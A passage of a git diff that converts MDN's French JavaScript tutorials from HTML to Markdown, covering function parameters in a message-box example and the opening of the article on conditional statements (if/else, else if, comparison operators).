class="brush: js">btn.onclick = function() { - displayMessage('Woo, this is a different message!'); -};</pre> - Si nous voulons spécifier des paramètres à l'intérieur des parenthèses pour la fonction que nous appelons, alors nous ne pouvons pas l'appeler directement — nous avons besoin de la mettre à l'intérieur d'une fonction anonyme de sorte qu'elle n'est pas dans la portée immédiate et n'est donc pas appelée immédiatement. Maintenant, elle ne sera pas appelée tant que le bouton ne sera pas cliqué.</li> - <li>Rechargez et essayez le code à nouveau et vous verrez qu'il fonctionne toujours très bien, sauf que maintenant vous pouvez également modifier le message à l'intérieur du paramètre pour obtenir des messages différents affichés dans la boîte !</li> -</ol> - -<h3 id="Un_paramètre_plus_complexe">Un paramètre plus complexe</h3> - -<p>Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — selon la valeur du paramètre <code>msgType</code>, la fonction affichera une icône et une couleur d'arrière-plan différentes.</p> - -<ol> - <li>Tout d'abord, téléchargez les icônes nécessaires à cet exercice (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">warning</a> et <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">chat</a>) depuis GitHub. Enregistrez-les dans un nouveau dossier appelé <code>icons</code> dans le même répertoire que votre fichier HTML. - - <div class="note"> - <p><strong>Note :</strong> icônes <a href="https://www.iconfinder.com/icons/1031466/alarm_alert_error_warning_icon">warning</a> et <a href="https://www.iconfinder.com/icons/1031441/chat_message_text_icon">chat</a> trouvés sur iconfinder.com, et créés par <a href="https://www.iconfinder.com/nazarr">Nazarrudin Ansyari</a>. Merci !</p></div> - </li> - <li>Ensuite, trouvez le CSS à l'intérieur de votre fichier HTML. Nous ferons quelques changements pour faire place aux icônes. Tout d'abord, mettez à jour la largeur <code>.msgBox</code> en changeant : - <pre class="brush: css">width: 200px;</pre> - par : - - <pre class="brush: css">width: 242px;</pre> - </li> - <li>Ensuite, ajoutez les lignes à l'intérieur de la règle CSS <code>.msgBox p { ... }</code> : - <pre class="brush: css">padding-left: 82px; -background-position: 25px center; -background-repeat: no-repeat;</pre> - </li> - <li>Maintenant, nous devons ajouter du code à notre fonction <code>displayMessage()</code> pour gérer l'affichage de l'icône. Ajoutez le bloc suivant juste au dessus de l'accolade fermante "<code>}</code>" de votre fonction : - <pre class="brush: js">if (msgType === 'warning') { - msg.style.backgroundImage = 'url(icons/warning.png)'; - panel.style.backgroundColor = 'red'; -} else if (msgType === 'chat') { - msg.style.backgroundImage = 'url(icons/chat.png)'; - panel.style.backgroundColor = 'aqua'; -} else { - msg.style.paddingLeft = '20px'; -}</pre> - Ici, quand <code>msgType</code> a la valeur <code>'warning'</code>, l'icône d'avertissement est affichée et le fond du panneau prend la couleur rouge. Si <code>msgType</code> a la valeur <code>'chat'</code>, l'icône de chat est affichée et l'arrière-plan du panneau est bleu. Si le paramètre <code>msgType</code> n'a pas de valeur du tout (ou s'il a une valeur totalement différente), alors la partie du code contenue dans <code>else { ... }</code> est exécutée : le paragraphe prend un padding par défaut et il n'y a ni icône ni couleur d'arrière-plan. En fait, on fournit un état par défaut si aucun paramètre <code>msgType</code> n'est fourni, ce qui signifie qu'il s'agit d'un paramètre facultatif !</li> - <li>Nous allons tester notre fonction mise à jour, essayez de mettre à jour l'appel <code>displayMessage()</code> : - <pre class="brush: js">displayMessage('Woo, this is a different message!');</pre> - par soit l'un ou l'autre : - - <pre class="brush: js">displayMessage('Your inbox is almost full — delete some mails', 'warning'); -displayMessage('Brian: Hi there, how are you today?','chat');</pre> - Vous pouvez voir à quel point notre petite (plus tant que cela maintenant) fonction est devenue utile :</li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> Si vous avez des difficultés à mettre en œuvre cet exemple, n'hésitez pas à verifier votre code par rapport à la <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html">version définitive sur GitHub</a> (aussi, vous pouvez tester la <a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html">démo</a>), ou nous demander de l'aide.</p> -</div> + ```js + var btn = document.querySelector('button'); + ``` + +5. Enfin, ajoutez la ligne suivante à la précédente : + + ```js + btn.onclick = displayMessage; + ``` + + D'une manière similaire à notre ligne `closeBtn.onclick...` à l'intérieur de la fonction, ici, nous appelons un certain code en réponse à un clic sur un bouton. Mais dans ce cas, au lieu d'appeler une fonction anonyme contenant du code, nous appelons directement notre nom de fonction. + +6. Essayez d'enregistrer et de rafraîchir la page, maintenant vous devriez voir la boîte de message s'afficher lorsque vous cliquez sur le bouton. + +Vous vous demandez peut-être pourquoi nous n'avons pas inclus les parenthèses après le nom de la fonction. C'est parce que nous ne voulons pas appeler la fonction immédiatement, seulement après que le bouton aura été cliqué. Si vous modifiez la ligne pour : + +```js +btn.onclick = displayMessage(); +``` + +Enregistrez et rafraîchissez la page, vous verrez que la boîte de message apparaît sans que le bouton ait été cliqué ! Dans ce contexte, les parenthèses sont parfois appelées "opérateur d'appel / invocation de fonction". Vous ne les utilisez que lorsque vous souhaitez exécuter la fonction immédiatement dans la portée actuelle. Dans le même ordre d'idée, le code à l'intérieur de la fonction anonyme n'est pas exécuté immédiatement, car il se trouve à l'intérieur de la portée de la fonction. + +Si vous avez essayé la dernière expérimentation, assurez-vous d'annuler la dernière modification avant de poursuivre. + +## Améliorer la fonction à l'aide de paramètres + +En l'état, la fonction n'est pas très utile — on ne veut pas montrer le même message par défaut à chaque fois. Améliorons la en ajoutant quelques paramètres, ils permettront d'appeler la fonction avec différentes options. + +1. Premièrement, mettons à jour la première ligne : + + ```js + function displayMessage() { + ``` + + par : + + ```js + function displayMessage(msgText, msgType) { + ``` + + Maintenant, quand nous appelons la fonction, nous pouvons fournir deux valeurs de variables entre les parenthèses : une pour spécifier le message à afficher dans la boîte, l'autre pour le type de message. + +2. Pour faire usage du premier paramètre, mettez à jour la ligne suivante à l'intérieur de votre fonction : + + ```js + msg.textContent = 'This is a message box'; + ``` + + avec : + + ```js + msg.textContent = msgText; + ``` + +3. Vous devez maintenant mettre à jour votre appel de fonction pour inclure un texte de message mis à jour. Modifiez la ligne suivante : + + ```js + btn.onclick = displayMessage; + ``` + + par ce bloc : + + ```js + btn.onclick = function() { + displayMessage('Woo, this is a different message!'); + }; + ``` + + Si nous voulons spécifier des paramètres à l'intérieur des parenthèses pour la fonction que nous appelons, alors nous ne pouvons pas l'appeler directement — nous avons besoin de la mettre à l'intérieur d'une fonction anonyme de sorte qu'elle n'est pas dans la portée immédiate et n'est donc pas appelée immédiatement. Maintenant, elle ne sera pas appelée tant que le bouton ne sera pas cliqué. + +4. Rechargez et essayez le code à nouveau et vous verrez qu'il fonctionne toujours très bien, sauf que maintenant vous pouvez également modifier le message à l'intérieur du paramètre pour obtenir des messages différents affichés dans la boîte ! + +### Un paramètre plus complexe + +Passons au paramètre suivant. Celui-ci va demander un peu plus de travail — selon la valeur du paramètre `msgType`, la fonction affichera une icône et une couleur d'arrière-plan différentes. + +1. Tout d'abord, téléchargez les icônes nécessaires à cet exercice ([warning](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png) et [chat](https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png)) depuis GitHub. Enregistrez-les dans un nouveau dossier appelé `icons` dans le même répertoire que votre fichier HTML. + + > **Note :** icônes [warning](https://www.iconfinder.com/icons/1031466/alarm_alert_error_warning_icon) et [chat](https://www.iconfinder.com/icons/1031441/chat_message_text_icon) trouvés sur iconfinder.com, et créés par [Nazarrudin Ansyari](https://www.iconfinder.com/nazarr). Merci ! + +2. Ensuite, trouvez le CSS à l'intérieur de votre fichier HTML. Nous ferons quelques changements pour faire place aux icônes. Tout d'abord, mettez à jour la largeur `.msgBox` en changeant : + + ```css + width: 200px; + ``` + + par : + + ```css + width: 242px; + ``` + +3. Ensuite, ajoutez les lignes à l'intérieur de la règle CSS `.msgBox p { ... }` : + + ```css + padding-left: 82px; + background-position: 25px center; + background-repeat: no-repeat; + ``` + +4. Maintenant, nous devons ajouter du code à notre fonction `displayMessage()` pour gérer l'affichage de l'icône. Ajoutez le bloc suivant juste au dessus de l'accolade fermante "`}`" de votre fonction : + + ```js + if (msgType === 'warning') { + msg.style.backgroundImage = 'url(icons/warning.png)'; + panel.style.backgroundColor = 'red'; + } else if (msgType === 'chat') { + msg.style.backgroundImage = 'url(icons/chat.png)'; + panel.style.backgroundColor = 'aqua'; + } else { + msg.style.paddingLeft = '20px'; + } + ``` + + Ici, quand `msgType` a la valeur `'warning'`, l'icône d'avertissement est affichée et le fond du panneau prend la couleur rouge. Si `msgType` a la valeur `'chat'`, l'icône de chat est affichée et l'arrière-plan du panneau est bleu. Si le paramètre `msgType` n'a pas de valeur du tout (ou s'il a une valeur totalement différente), alors la partie du code contenue dans `else { ... }` est exécutée : le paragraphe prend un padding par défaut et il n'y a ni icône ni couleur d'arrière-plan. En fait, on fournit un état par défaut si aucun paramètre `msgType` n'est fourni, ce qui signifie qu'il s'agit d'un paramètre facultatif ! + +5. Nous allons tester notre fonction mise à jour, essayez de mettre à jour l'appel `displayMessage()` : + + ```js + displayMessage('Woo, this is a different message!'); + ``` + + par soit l'un ou l'autre : + + ```js + displayMessage('Your inbox is almost full — delete some mails', 'warning'); + displayMessage('Brian: Hi there, how are you today?','chat'); + ``` + + Vous pouvez voir à quel point notre petite (plus tant que cela maintenant) fonction est devenue utile : -<h2 id="Conclusion">Conclusion</h2> +> **Note :** Si vous avez des difficultés à mettre en œuvre cet exemple, n'hésitez pas à verifier votre code par rapport à la [version définitive sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html) (aussi, vous pouvez tester la [démo](http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html)), ou nous demander de l'aide. -<p>Vous êtes venu à bout de cette activité, félicitations ! Cet article vous a amené à travers tout le processus de construction d'une fonction pratique personnalisée, qui avec un peu plus de travail pourrait être transposée dans un projet réel. Dans l'article suivant, nous allons conclure l'apprentissage des fonctions en expliquant un autre concept connexe essentiel — les valeurs de retour.</p> +## Conclusion -<ul> -</ul> +Vous êtes venu à bout de cette activité, félicitations ! Cet article vous a amené à travers tout le processus de construction d'une fonction pratique personnalisée, qui avec un peu plus de travail pourrait être transposée dans un projet réel. Dans l'article suivant, nous allons conclure l'apprentissage des fonctions en expliquant un autre concept connexe essentiel — les valeurs de retour. -<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}} diff --git a/files/fr/learn/javascript/building_blocks/conditionals/index.md b/files/fr/learn/javascript/building_blocks/conditionals/index.md index 5a6a89cc13..cfa97937f9 100644 --- a/files/fr/learn/javascript/building_blocks/conditionals/index.md +++ b/files/fr/learn/javascript/building_blocks/conditionals/index.md @@ -15,112 +15,122 @@ tags: translation_of: Learn/JavaScript/Building_blocks/conditionals original_slug: Apprendre/JavaScript/Building_blocks/conditionals --- -<p>{{LearnSidebar}}</p> +{{LearnSidebar}} -<p>{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}}</p> +{{NextMenu("Apprendre/JavaScript/Building_blocks/Looping_code", "Apprendre/JavaScript/Building_blocks")}} -<p>Dans tout langage de programmation, le code doit prendre des décisions et agir en fonction des différents paramètres. Par exemple dans un jeu, si le nombre de vies du joueur atteint 0, alors le jeu est terminé. Dans une application météo, si elle est consultée le matin, l'application montrera une image du lever de soleil ; l'application proposera des étoiles et la lune s'il fait nuit. Dans cet article nous allons découvrir comment ces instructions conditionnelles fonctionnent en JavaScript.</p> +Dans tout langage de programmation, le code doit prendre des décisions et agir en fonction des différents paramètres. Par exemple dans un jeu, si le nombre de vies du joueur atteint 0, alors le jeu est terminé. Dans une application météo, si elle est consultée le matin, l'application montrera une image du lever de soleil ; l'application proposera des étoiles et la lune s'il fait nuit. Dans cet article nous allons découvrir comment ces instructions conditionnelles fonctionnent en JavaScript. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances du vocabulaire informatique, compréhension des bases du HTML et des CSS, <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre comment utiliser les structures conditionnelles en JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances du vocabulaire informatique, compréhension des bases du + HTML et des CSS, + <a href="/fr/docs/Learn/JavaScript/First_steps" + >Premiers pas en JavaScript</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre comment utiliser les structures conditionnelles en + JavaScript. + </td> + </tr> + </tbody> </table> -<h2 id="Vous_laurez_à_une_condition_!..">Vous l'aurez à une condition !..</h2> +## Vous l'aurez à une condition !.. -<p>Les êtres humains (et d'autres animaux) prennent tout le temps des décisions qui affectent leur vie, de la plus insignifiante (« Est‑ce que je devrais prendre un biscuit ou deux ? ») à la plus importante (« Est‑ce que je dois rester dans mon pays natal et travailler à la ferme de mon père, ou déménager aux États-Unis et étudier l'astrophysique ? »)</p> +Les êtres humains (et d'autres animaux) prennent tout le temps des décisions qui affectent leur vie, de la plus insignifiante (« Est‑ce que je devrais prendre un biscuit ou deux ? ») à la plus importante (« Est‑ce que je dois rester dans mon pays natal et travailler à la ferme de mon père, ou déménager aux États-Unis et étudier l'astrophysique ? ») -<p>Les instructions conditionnelles nous permettent de représenter ce genre de prise de décision en JavaScript, du choix qui doit être fait (par ex. « un biscuit ou deux »), à la conséquence de ces choix (il se peut que la conséquence de « manger un biscuit » soit « avoir encore faim », et celle de « manger deux biscuits » soit « se sentir rassasié, mais se faire gronder par maman pour avoir mangé tous les biscuits ».)</p> +Les instructions conditionnelles nous permettent de représenter ce genre de prise de décision en JavaScript, du choix qui doit être fait (par ex. « un biscuit ou deux »), à la conséquence de ces choix (il se peut que la conséquence de « manger un biscuit » soit « avoir encore faim », et celle de « manger deux biscuits » soit « se sentir rassasié, mais se faire gronder par maman pour avoir mangé tous les biscuits ».) -<p><img alt="" src="cookie-choice-small.png"></p> + -<h2 id="Instruction_if_..._else">Instruction if ... else</h2> +## Instruction if ... else -<p>Intéressons nous de plus près à la forme la plus répandue d'instruction conditionnelle que vous utiliserez en JavaScript — la modeste <a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">instruction</a> <code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/if...else">if ... else</a></code>.</p> +Intéressons nous de plus près à la forme la plus répandue d'instruction conditionnelle que vous utiliserez en JavaScript — la modeste [instruction](/fr/docs/Web/JavaScript/Reference/Instructions/if...else) [`if ... else`](/fr/docs/Web/JavaScript/Reference/Instructions/if...else). -<h3 id="Syntaxe_élémentaire_if_..._else">Syntaxe élémentaire if ... else</h3> +### Syntaxe élémentaire if ... else -<p>La syntaxe élémentaire de <code>if...else</code> ressemble à cela en {{glossary("pseudocode")}}:</p> +La syntaxe élémentaire de `if...else` ressemble à cela en {{glossary("pseudocode")}}: -<pre>if (condition) { - code à exécuter si la condition est true -} else { - sinon exécuter cet autre code à la place -}</pre> + if (condition) { + code à exécuter si la condition est true + } else { + sinon exécuter cet autre code à la place + } -<p>Ici nous avons:</p> +Ici nous avons: -<ol> - <li>Le mot‑clé <code>if</code> suivie de parenthèses.</li> - <li>Une condition à évaluer, placée entre les parenthèses (typiquement « cette valeur est‑elle plus grande que cet autre valeur ? » ou « cette valeur existe‑t‑elle ? »). Cette condition se servira des <a href="/fr/docs/Learn/JavaScript/First_steps/Math#Comparison_operators">opérateurs de comparaison</a> que nous avons étudié dans le précédent module, et renverra <code>true</code> ou <code>false</code>.</li> - <li>Une paire d'accolades, à l'intérieur de laquelle se trouve du code — cela peut être n'importe quel code voulu ; il sera exécuté seulement si la condition renvoie <code>true</code>.</li> - <li>Le mot‑clé <code>else</code>.</li> - <li>Une autre paire d'accolades, à l'intérieur de laquelle se trouve du code différent — tout code souhaité et il sera exécuté seulement si la condition ne renvoie pas <code>true</code>.</li> -</ol> +1. Le mot‑clé `if` suivie de parenthèses. +2. Une condition à évaluer, placée entre les parenthèses (typiquement « cette valeur est‑elle plus grande que cet autre valeur ? » ou « cette valeur existe‑t‑elle ? »). Cette condition se servira des [opérateurs de comparaison](/fr/docs/Learn/JavaScript/First_steps/Math#Comparison_operators) que nous avons étudié dans le précédent module, et renverra `true` ou `false`. +3. Une paire d'accolades, à l'intérieur de laquelle se trouve du code — cela peut être n'importe quel code voulu ; il sera exécuté seulement si la condition renvoie `true`. +4. Le mot‑clé `else`. +5. Une autre paire d'accolades, à l'intérieur de laquelle se trouve du code différent — tout code souhaité et il sera exécuté seulement si la condition ne renvoie pas `true`. -<p>Ce code est facile à lire pour une personne — il dit « <strong>si</strong> la <strong>condition</strong> renvoie <code>true</code>, exécuter le code A, <strong>sinon</strong> exécuter le code B ».</p> +Ce code est facile à lire pour une personne — il dit « **si** la **condition** renvoie `true`, exécuter le code A, **sinon** exécuter le code B ». -<p>Notez qu'il n'est pas nécessaire d'inclure une instruction <code>else</code> et le deuxième bloc entre accolades — le code suivant est aussi parfaitement correct :</p> +Notez qu'il n'est pas nécessaire d'inclure une instruction `else` et le deuxième bloc entre accolades — le code suivant est aussi parfaitement correct : -<pre>if (condition) { - code à exécuter si la condition est true -} + if (condition) { + code à exécuter si la condition est true + } -exécuter un autre code</pre> + exécuter un autre code -<p>Cependant, vous devez faire attention ici — dans ce cas, le deuxième bloc de code n'est pas controlé par l'instruction conditionnelle, donc il sera <strong>toujours</strong> exécuté, que la condition ait renvoyé <code>true</code> ou <code>false</code>. Ce n'est pas nécessairement une mauvaise chose, mais il se peut que ce ne soit pas ce que vous vouliez — le plus souvent vous voudrez exécuter un bloc de code <em>ou</em> l'autre, et non les deux.</p> +Cependant, vous devez faire attention ici — dans ce cas, le deuxième bloc de code n'est pas controlé par l'instruction conditionnelle, donc il sera **toujours** exécuté, que la condition ait renvoyé `true` ou `false`. Ce n'est pas nécessairement une mauvaise chose, mais il se peut que ce ne soit pas ce que vous vouliez — le plus souvent vous voudrez exécuter un bloc de code *ou* l'autre, et non les deux. -<p>Une dernière remarque, vous verrez quelques fois les instructions <code>if...else</code> écrites sans accolades, de manière abrégée, ainsi :</p> +Une dernière remarque, vous verrez quelques fois les instructions `if...else` écrites sans accolades, de manière abrégée, ainsi : -<pre>if (condition) code à exécuter si la condition est true -else exécute un autre code à la place</pre> + if (condition) code à exécuter si la condition est true + else exécute un autre code à la place -<p>Ce code est parfaitement valide, mais il n'est pas recommandé — il est nettement plus facile de lire le code et d'en déduire ce qui se passe si vous utilisez des accolades pour délimiter les blocs de code, des lignes séparées et des indentations.</p> +Ce code est parfaitement valide, mais il n'est pas recommandé — il est nettement plus facile de lire le code et d'en déduire ce qui se passe si vous utilisez des accolades pour délimiter les blocs de code, des lignes séparées et des indentations. -<h3 id="Un_exemple_concret">Un exemple concret</h3> +### Un exemple concret -<p>Pour mieux comprendre cette syntaxe, prenons un exemple concret. Imaginez un enfant à qui le père ou la mère demande de l'aide pour une tâche. Le parent pourrait dire « Mon chéri, si tu m'aides en allant faire les courses, je te donnerai un peu plus d'argent de poche pour que tu puisses t'acheter ce jouet que tu voulais ». En JavaScript, on pourrait le représenter de cette manière :</p> +Pour mieux comprendre cette syntaxe, prenons un exemple concret. Imaginez un enfant à qui le père ou la mère demande de l'aide pour une tâche. Le parent pourrait dire « Mon chéri, si tu m'aides en allant faire les courses, je te donnerai un peu plus d'argent de poche pour que tu puisses t'acheter ce jouet que tu voulais ». En JavaScript, on pourrait le représenter de cette manière : -<pre class="brush: js">let coursesFaites = false; +```js +let coursesFaites = false; if (coursesFaites === true) { let argentDePoche = 10; } else { let argentDePoche = 5; -}</pre> +} +``` -<p>Avec un tel code, la variable <code>coursesFaites</code> renvoie toujours <code>false</code>, imaginez la déception de ce pauvre enfant. Il ne tient qu'à nous de fournir un mécanisme pour que le parent assigne <code>true</code> à la variable <code>coursesFaites</code> si l'enfant a fait les courses.</p> +Avec un tel code, la variable `coursesFaites` renvoie toujours `false`, imaginez la déception de ce pauvre enfant. Il ne tient qu'à nous de fournir un mécanisme pour que le parent assigne `true` à la variable `coursesFaites` si l'enfant a fait les courses. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez voir une <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html">version plus complète de cet exemple sur GitHub</a> (ainsi qu'en <a href="http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html">version live</a>.)</p> -</div> +> **Note :** Vous pouvez voir une [version plus complète de cet exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html) (ainsi qu'en [version live](http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html).) -<h3 id="else_if">else if</h3> +### else if -<p>Il n'y a qu'une alternative dans l'exemple précédent — mais qu'en est‑il si l'on souhaite plus de choix ?</p> +Il n'y a qu'une alternative dans l'exemple précédent — mais qu'en est‑il si l'on souhaite plus de choix ? -<p>Il existe un moyen d'enchaîner des choix / résultats supplémentaires à <code>if...else</code> — en utilisant <code>else if</code> entre. Chaque choix supplémentaire nécessite un bloc additionnel à placer entre <code>if() { ... }</code> et <code>else { ... }</code> — regardez l'exemple suivant plus élaboré, qui pourrait faire partie d'une simple application de prévisions météo:</p> +Il existe un moyen d'enchaîner des choix / résultats supplémentaires à `if...else` — en utilisant `else if` entre. Chaque choix supplémentaire nécessite un bloc additionnel à placer entre `if() { ... }` et `else { ... }` — regardez l'exemple suivant plus élaboré, qui pourrait faire partie d'une simple application de prévisions météo: -<pre class="brush: html"><label for="weather">Select the weather type today: </label> -<select id="weather"> - <option value="">--Make a choice--</option> - <option value="sunny">Sunny</option> - <option value="rainy">Rainy</option> - <option value="snowing">Snowing</option> - <option value="overcast">Overcast</option> -</select> +```html +<label for="weather">Select the weather type today: </label> +<select id="weather"> + <option value="">--Make a choice--</option> + <option value="sunny">Sunny</option> + <option value="rainy">Rainy</option> + <option value="snowing">Snowing</option> + <option value="overcast">Overcast</option> +</select> -<p></p></pre> +<p></p> +``` -<pre class="brush: js">const select = document.querySelector('select'); +```js +const select = document.querySelector('select'); const para = document.querySelector('p'); select.addEventListener('change', setWeather); @@ -139,178 +149,188 @@ function setWeather() { } else { para.textContent = ''; } -}</pre> +} +``` -<p>{{ EmbedLiveSample('else_if', '100%', 100) }}</p> +{{ EmbedLiveSample('else_if', '100%', 100) }} -<ol> - <li>Ici nous avons l'élément HTML {{htmlelement("select")}} nous permettant de sélectionner divers choix de temps et un simple paragraphe.</li> - <li>Dans le JavaScript, nous conservons une référence aussi bien à l'élément {{htmlelement("select")}} qu'à l'élément {{htmlelement("p")}}, et ajoutons un écouteur d'évènement à l'élément <code><select></code> de sorte que la fonction <code>setWeather()</code> soit exécutée quand sa valeur change.</li> - <li>Quand cette fonction est exécutée, nous commençons par assigner à la variable <code>choice</code> la valeur actuellement sélectionnée dans l'élément <code><select></code>. Nous utilisons ensuite une instruction conditionnelle pour montrer différents textes dans le paragraphe en fonction de la valeur de <code>choice</code>. Remarquez comment toutes les conditions sont testées avec des blocs <code>else if() {...}</code>, mis à part le tout premier testé avec un <code>bloc if() {...}</code>.</li> - <li>Le tout dernier choix, à l'intérieur du bloc <code>else {...}</code>, est simplement une option de "secours" — le code qui s'y trouve ne sera exécuté que si aucune des conditions n'est <code>true</code>. Dans ce cas, il faut vider le texte du paragraphe si rien n'est sélectionné, par exemple si un utilisateur décide de resélectionner le texte à substituer « --Choisir-- » présenté au début.</li> -</ol> +1. Ici nous avons l'élément HTML {{htmlelement("select")}} nous permettant de sélectionner divers choix de temps et un simple paragraphe. +2. Dans le JavaScript, nous conservons une référence aussi bien à l'élément {{htmlelement("select")}} qu'à l'élément {{htmlelement("p")}}, et ajoutons un écouteur d'évènement à l'élément `<select>` de sorte que la fonction `setWeather()` soit exécutée quand sa valeur change. +3. Quand cette fonction est exécutée, nous commençons par assigner à la variable `choice` la valeur actuellement sélectionnée dans l'élément `<select>`. Nous utilisons ensuite une instruction conditionnelle pour montrer différents textes dans le paragraphe en fonction de la valeur de `choice`. Remarquez comment toutes les conditions sont testées avec des blocs `else if() {...}`, mis à part le tout premier testé avec un `bloc if() {...}`. +4. Le tout dernier choix, à l'intérieur du bloc `else {...}`, est simplement une option de "secours" — le code qui s'y trouve ne sera exécuté que si aucune des conditions n'est `true`. Dans ce cas, il faut vider le texte du paragraphe si rien n'est sélectionné, par exemple si un utilisateur décide de resélectionner le texte à substituer « --Choisir-- » présenté au début. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez également <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html">cet exemple sur GitHub</a> (ainsi qu'en <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html">version live</a> ici.)</p> -</div> +> **Note :** Vous trouverez également [cet exemple sur GitHub](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html) (ainsi qu'en [version live](http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html) ici.) -<h3 id="Une_note_sur_les_opérateurs_de_comparaison">Une note sur les opérateurs de comparaison</h3> +### Une note sur les opérateurs de comparaison -<p>Les opérateurs de comparaison sont utilisés pour tester les conditions dans nos instructions conditionnelles. Nous avons d'abord regardé les opérateurs de comparaison dans notre <a href="/fr/docs/Learn/JavaScript/First_steps/Math#Opérateurs_de_comparaison">Mathématiques de base en JavaScript — nombres et opérateurs</a> article. Nos choix sont :</p> +Les opérateurs de comparaison sont utilisés pour tester les conditions dans nos instructions conditionnelles. Nous avons d'abord regardé les opérateurs de comparaison dans notre [Mathématiques de base en JavaScript — nombres et opérateurs](/fr/docs/Learn/JavaScript/First_steps/Math#Opérateurs_de_comparaison) article. Nos choix sont : -<ul> - <li><code>===</code> et <code>!==</code> — teste si une valeur est identique ou non à une autre.</li> - <li><code><</code> and <code>></code> —teste si une valeur est inférieure ou non à une autre.</li> - <li><code><=</code> and <code>>=</code> — teste si une valeur est inférieur ou égal, ou égal à, ou supérieur ou égal à une autre.</li> -</ul> +- `===` et `!==` — teste si une valeur est identique ou non à une autre. +- `<` and `>` —teste si une valeur est inférieure ou non à une autre. +- `<=` and `>=` — teste si une valeur est inférieur ou égal, ou égal à, ou supérieur ou égal à une autre. -<div class="note"> -<p><strong>Note :</strong> Revoyez le contenu du lien précédent si vous voulez vous rafraîchir la mémoire.</p> -</div> +> **Note :** Revoyez le contenu du lien précédent si vous voulez vous rafraîchir la mémoire. -<p>Nous souhaitons mentionner à propos des tests des valeurs booléennes (<code>true</code>/<code>false</code>) un modèle courant que vous rencontrerez souvent. Toute valeur autre que <code>false</code>, <code>undefined</code>, <code>null</code>, <code>0</code>, <code>NaN</code> ou une chaîne vide (<code>''</code>) renvoie <code>true</code> lorsqu'elle est testée dans une structure conditionnelle, vous pouvez donc simplement utiliser un nom de variable pour tester si elle est <code>true</code>, ou même si elle existe (c'est-à-dire si elle n'est pas <code>undefined</code>).<br> - Par exemple :</p> +Nous souhaitons mentionner à propos des tests des valeurs booléennes (`true`/`false`) un modèle courant que vous rencontrerez souvent. Toute valeur autre que `false`, `undefined`, `null`, `0`, `NaN` ou une chaîne vide (`''`) renvoie `true` lorsqu'elle est testée dans une structure conditionnelle, vous pouvez donc simplement utiliser un nom de variable pour tester si elle est `true`, ou même si elle existe (c'est-à-dire si elle n'est pas `undefined`). +Par exemple : -<pre class="brush: js">const fromage = 'Comté'; +```js +const fromage = 'Comté'; if (fromage) { console.log('Ouaips ! Du fromage pour mettre sur un toast.'); } else { console.log('Pas de fromage sur le toast pour vous aujourd\'hui.'); -}</pre> +} +``` -<p>Et, revenant à notre exemple précédent sur l'enfant rendant service à ses parents, vous pouvez l'écrire ainsi :</p> +Et, revenant à notre exemple précédent sur l'enfant rendant service à ses parents, vous pouvez l'écrire ainsi : -<pre class="brush: js">let coursesFaites = false; +```js +let coursesFaites = false; if (coursesFaites) { // pas besoin d'écrire explicitement '=== true' let argentDePoche = 10; } else { let argentDePoche = 5; -}</pre> +} +``` -<h3 id="if_..._else_imbriqué"> if ... else imbriqué</h3> +### if ... else imbriqué -<p>Il est parfaitement correct d'ajouter une déclaration <code>if...else</code> à l'intérieur d'une autre — pour les imbriquer. Par exemple, nous pourrions mettre à jour notre application de prévisions météo pour montrer un autre ensemble de choix en fonction de la température :</p> +Il est parfaitement correct d'ajouter une déclaration `if...else` à l'intérieur d'une autre — pour les imbriquer. Par exemple, nous pourrions mettre à jour notre application de prévisions météo pour montrer un autre ensemble de choix en fonction de la température : -<pre class="brush: js">if (choice === 'sunny') { - if (temperature < 86) { +```js +if (choice === 'sunny') { + if (temperature < 86) { para.textContent = 'Il fait ' + temperature + ' degrés dehors — beau et ensoleillé. Allez à la plage ou au parc et achetez une crème glacée.'; - } else if (temperature >= 86) { + } else if (temperature >= 86) { para.textContent = 'Il fait ' + temperature + ' degrés dehors — VRAIMENT CHAUD ! si vous voulez sortir, n\'oubliez pas de mettre de la crème solaire.'; } -}</pre> +} +``` -<p>Même si tout le code fonctionne ensemble, chaque déclaration <code>if...else</code> fonctionne indépendamment de l'autre.</p> +Même si tout le code fonctionne ensemble, chaque déclaration `if...else` fonctionne indépendamment de l'autre. -<h3 id="Opérateurs_logiques_AND_OR_et_NOT">Opérateurs logiques AND, OR et NOT</h3> +### Opérateurs logiques AND, OR et NOT -<p>Si vous 